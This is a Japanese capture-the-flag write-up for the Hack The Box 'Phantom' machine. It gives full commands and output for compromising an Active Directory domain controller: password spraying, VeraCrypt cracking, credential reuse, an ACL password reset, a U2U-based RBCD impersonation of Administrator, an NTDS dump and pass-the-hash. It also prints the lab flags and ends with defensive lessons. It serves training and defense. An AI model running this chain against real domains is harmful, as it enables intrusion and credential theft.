Hack The BoxのWriteup(Phantom)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Phantom — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC (phantom.vl)
Public共有 匿名アクセス
EML添付PDFに平文パスワード
RID Brute + スプレー
ibryant:Ph4nt0m@5t4rt!
VeraCryptコンテナ
crunch+hashcatでPhantom2023!
VyOS config.boot
SSTP PWの使い回し発見
WinRM
svc_sspr → user.txt ✓
ForceChangePassword
wsilvaのパスワードリセット
non-machine-account RBCD
U2Uでセッション鍵書換
Administrator PtH
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.234.63
nmap -Pn -sV -sC -p 53,88,135,139,389,445,636,3268,3269,3389,5985,9389 10.129.234.63
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: phantom.vl)
445/tcp  open  microsoft-ds?
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: phantom.vl)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf        .NET Message Framing
Domain: phantom.vl / DC: DC.phantom.vl
ℹ️
典型的なWindows AD DCのポート構成。SMB(445)は匿名アクセスが一部許可されている。

SMB匿名共有列挙

BASH
echo "10.129.234.63  phantom.vl DC.phantom.vl" >> /etc/hosts
netexec smb 10.129.234.63 -u '' -p '' --shares
RESULT
SMB共有: ADMIN$, C$, Share, NETLOGON, Public, SYSVOL
PHASE 2

Public共有のメール添付PDFから初期パスワードを発見

Public共有からEMLファイル取得

BASH
smbclient //10.129.234.63/Public -N -c 'get tech_support_email.eml'
RESULT
getting file \tech_support_email.eml of size 14565 as tech_support_email.eml (16.3 KiloBytes/sec)
BASH (base64添付PDFの展開)
# EMLをパースし添付ファイル(welcome_template.pdf, base64エンコード)をデコード
python3 -c "
import email
msg = email.message_from_file(open('tech_support_email.eml'))
for part in msg.walk():
    if part.get_filename():
        open(part.get_filename(), 'wb').write(part.get_payload(decode=True))
"
pdftotext welcome_template.pdf -
RESULT
Welcome to Phantom!
Dear <NAME>
We are excited to have you on board.
Below are your user credentials:
Username: <USERNAME>
Password: Ph4nt0m@5t4rt!
Please log in to your account using these credentials...
ℹ️
ユーザー名は伏せ字だが、パスワードの平文 Ph4nt0m@5t4rt! が 判明。これは初期ウェルカムパスワードであり、まだ変更していないユーザーが いればスプレーで見つけられる。

RID Brute + パスワードスプレー

BASH
netexec smb 10.129.234.63 -u guest -p '' --rid-brute
netexec smb 10.129.234.63 -u phantom_users.txt -p 'Ph4nt0m@5t4rt!' --continue-on-success
RESULT
SMB ... [-] phantom.vl\ccooper:Ph4nt0m@5t4rt! STATUS_LOGON_FAILURE
SMB ... [-] phantom.vl\vcunningham:Ph4nt0m@5t4rt! STATUS_LOGON_FAILURE
[+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
ibryant がまだ初期パスワードのままだった。
PHASE 3

VeraCryptコンテナ解析 → VyOSバックアップ → user.txt

Departments Shareの取得

BASH
smbclient //10.129.234.63/"Departments Share" -U ibryant%'Ph4nt0m@5t4rt!' \
  -c 'cd IT; cd Backup; get IT_BACKUP_201123.hc'
ℹ️
Departments Shareはguestでは不可視で、認証後のユーザーにのみ 見える共有。IT/Backup/配下に暗号化されたVeraCryptコンテナ IT_BACKUP_201123.hcが存在する。

VeraCryptパスワードのクラック

NOTE
# メール本文/PDFのヒントから "Phantom202X!" 形式のパスワードと推測し
# カスタムワードリストを生成
crunch 12 12 -t 'Phantom202%^' -o phantom_base_wordlist

# hashcatルールでバリエーション展開しつつVeraCryptヘッダをクラック
hashcat -a 0 IT_BACKUP_201123.hc phantom_base_wordlist -m 13721 -r phantom_rules.rule
RESULT
IT_BACKUP_201123.hc:Phantom2023!
ℹ️
ハッシュモード -m 13721 はVeraCrypt(SHA512+XTS 512bit)。 先頭512バイトを切り出す必要はなく、コンテナファイル全体をそのまま渡せる。

マウントとVyOSバックアップの解析

BASH
veracrypt --text --mount IT_BACKUP_201123.hc /mnt/veracrypt1 --password 'Phantom2023!'
tar -xzf /mnt/veracrypt1/vyos_backup.tar.gz
grep -A3 'authentication' config.boot
RESULT
username lstanley {
    authentication {
        plaintext-password gB6XTcqVP5MlP7Rc
    }
}
⚠️
VyOSルーターのconfig.bootにSSTP VPNユーザーlstanleyの 平文パスワードが記載されている。このパスワードが ADアカウントsvc_ssprで使い回されている (資格情報の再利用)。

svc_sspr へのスプレー & user.txt 取得

BASH
netexec smb 10.129.234.63 -u phantom_users.txt -p 'gB6XTcqVP5MlP7Rc' --continue-on-success
RESULT
SMB ... [-] phantom.vl\wsilva:gB6XTcqVP5MlP7Rc STATUS_LOGON_FAILURE
SMB ... [+] phantom.vl\svc_sspr:gB6XTcqVP5MlP7Rc
BASH
netexec winrm 10.129.234.63 -u svc_sspr -p 'gB6XTcqVP5MlP7Rc' \
  -x 'powershell -c Get-Content C:\Users\svc_sspr\Desktop\user.txt'
RESULT
WINRM ... [+] phantom.vl\svc_sspr:gB6XTcqVP5MlP7Rc (Pwn3d!)
ced429c20b95d513c4972f1221f487f7
user.txt — svc_sspr
ced429c20b95d513c4972f1221f487f7
PHASE 4

ForceChangePassword → non-machine-account RBCD (U2U) → root.txt

BloodHoundでACLチェーンを確認

BASH
bloodhound-python -u svc_sspr -p 'gB6XTcqVP5MlP7Rc' -d phantom.vl -ns 10.129.234.63 -c All --zip
# または rusthound-ce
ℹ️
BloodHoundで確認できるACLチェーン: svc_ssprcrose/wsilva/rnicholsに対して ForceChangePassword権限を持つ。wsilvaICT Securityグループのメンバーで、DCコンピュータオブジェクトの msDS-AllowedToActOnBehalfOfOtherIdentity属性への 書き込み権限(RBCD設定可能)を持つ。

wsilvaのパスワードをリセット

BASH
net rpc password wsilva 'P@ssw0rd' -U 'phantom.vl/svc_sspr%gB6XTcqVP5MlP7Rc' -S DC.phantom.vl
ℹ️
svc_sspr の ForceChangePassword 権限で、パスワードを知っている状態の P@ssw0rd にリセットする。

RBCDの設定(MachineAccountQuota=0のためnon-machine-account手法)

NOTE
MachineAccountQuota=0 のため通常のRBCD(攻撃者が新規コンピュータアカウントを
作成しSPNを持たせる手法)は使えない。代わりに、SPNを持たないアカウント
(wsilva)自身に対しU2U(User-to-User)トリックでS4U2Selfを可能にする
"non-machine-account RBCD"手法を用いる。
BASH (1. RBCD委任設定)
rbcd.py -delegate-to 'DC$' -delegate-from wsilva -action write \
  phantom.vl/wsilva:'P@ssw0rd' -dc-ip 10.129.234.63
BASH (2. wsilvaのTGT取得)
getTGT.py phantom.vl/wsilva:'P@ssw0rd'
BASH (3. TGTのセッション鍵を抽出)
describeTicket.py wsilva.ccache
RESULT
[*] Ticket Session Key : <session_key_hex>
[*] User Name           : wsilva
[*] Service Name        : krbtgt/PHANTOM.VL
[*] KeyType             : rc4_hmac
BASH (4. wsilva自身のNTハッシュをセッション鍵に書き換え)
changepasswd.py -newhashes :<session_key_hex> \
  phantom.vl/wsilva:'P@ssw0rd'@DC.phantom.vl
🚨
このステップがトリックの核心: wsilva自身のNTハッシュを TGTのセッション鍵と同じ値に書き換えることで、U2U(User-to-User)認証時に そのTGTがwsilva自身の”サービスキー”としても機能するようになる。 これによりSPNを持たないアカウントでもS4U2Self+S4U2Proxyの連鎖 (RBCD)が成立する。

Administrator としての S4U チケット取得

BASH
KRB5CCNAME=wsilva.ccache getST.py -u2u -impersonate Administrator \
  -spn cifs/DC.phantom.vl phantom.vl/wsilva -k -no-pass
BASH (Pass-the-Ticketでcifs経由 NTDSダンプ)
KRB5CCNAME=Administrator.ccache netexec smb DC.phantom.vl \
  --use-kcache --ntds --user Administrator
⚠️
Windows Server 2019/2022系では全件NTDSダンプがDCをクラッシュさせる ことがあるため、--user Administratorで対象を1アカウントに 絞って安全にダンプするのが推奨。
RESULT
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NTハッシュ>:::

Pass-the-Hash で root.txt 取得

BASH
netexec winrm 10.129.234.63 -u administrator -H <NTハッシュ> \
  -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM ... [+] phantom.vl\administrator:<NTハッシュ> (Pwn3d!)
WINRM ... [+] Executed command (shell type: cmd)
ed411e7ec706edf25aba2cbab2f9bcd8
root.txt — Administrator (Pass-the-Hash)
ed411e7ec706edf25aba2cbab2f9bcd8
🚨
抽出時の注意: netexecの出力は認証成功バナー行に administrator:<NTハッシュ>という形でPass-the-Hashに 使ったNTハッシュ自体を32桁hexとしてエコーする。実際のroot.txtの内容 (これも32桁hex)はその後の行に出力されるため、 「出力中で最初に現れた32桁hex文字列」を機械的に抽出すると 認証用ハッシュを誤ってフラグとして取得してしまう。 コマンド出力は常にバナーより後に来るため、抽出は 最後に現れた32桁hexを採用するのが正しい
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc_sspr
ced429c20b95d513c4972f1221f487f7
root.txt — Administrator
ed411e7ec706edf25aba2cbab2f9bcd8

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
匿名共有の機密情報漏洩 Public SMB共有 初期パスワード漏洩 Medium メール添付PDFに記載された初期ウェルカムパスワードを取得
初期パスワード未変更 + スプレー ibryant アカウント 初期ドメイン認証情報の取得 Medium RID Brute + パスワードスプレーで未変更ユーザーを特定
VeraCrypt弱いパスワード + 資格情報再利用 IT_BACKUP_201123.hc / VyOS config.boot SSTP VPN資格情報の漏洩とADアカウントへの使い回し発見 High 推測可能なパターンのパスワードをcrunch+hashcatでクラックしVyOS設定内の平文パスワードを取得、AD(svc_sspr)への使い回しを確認
ForceChangePassword + non-machine-account RBCD wsilva → DC$ の委任設定 Administrator権限への完全昇格 Critical ACL誤設定を突きwsilvaのパスワードをリセット、U2Uトリックでセッション鍵をNTハッシュとして書き込みSPNなしアカウントでもRBCDを成立させAdministratorへS4U委任

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + SMB匿名共有列挙AD DC (phantom.vl) 発見
2初期パスワード発見Public共有のEML添付PDFPh4nt0m@5t4rt! → ibryant発見
3資格情報連鎖VeraCryptクラック→VyOS config.boot→AD使い回しsvc_sspr:gB6XTcqVP5MlP7Rc → user.txt
4ACL悪用ForceChangePassword + non-machine-account RBCD(U2U)Administrator NTハッシュ
5root取得Pass-the-Hash (WinRM)root.txt

学んだ教訓 & 防御策

問題点防御策
誰でもアクセス可能なSMB共有に初期パスワードが記載されたメール/PDFが放置されている 機密情報を含むファイルを匿名/ゲストアクセス可能な共有に置かない。オンボーディング文書はアクセス制御された経路で配布する。
初期(ウェルカム)パスワードを変更していないユーザーが存在する 初回ログイン時のパスワード変更を強制するポリシーを設定し、未変更アカウントを定期的に監査する。
ネットワーク機器(VyOS)の設定バックアップに平文パスワードが保存され、さらにそのパスワードがADアカウントで使い回されている 設定バックアップの暗号化を徹底し、パスワードの使い回しを禁止する。ネットワーク機器の認証情報とADの認証情報は完全に分離する。
ForceChangePassword等の危険なACLが一般アカウント間に設定されており、RBCD悪用可能な委任権限を持つグループへの所属チェーンが存在する BloodHound等で定期的にAD ACLを監査し、不要なForceChangePassword/GenericAll/WriteDacl等の権限を削除する。委任設定(RBCD)の変更権限を持つグループを最小化する。
HackTheBox: Phantom | 完全攻略レポート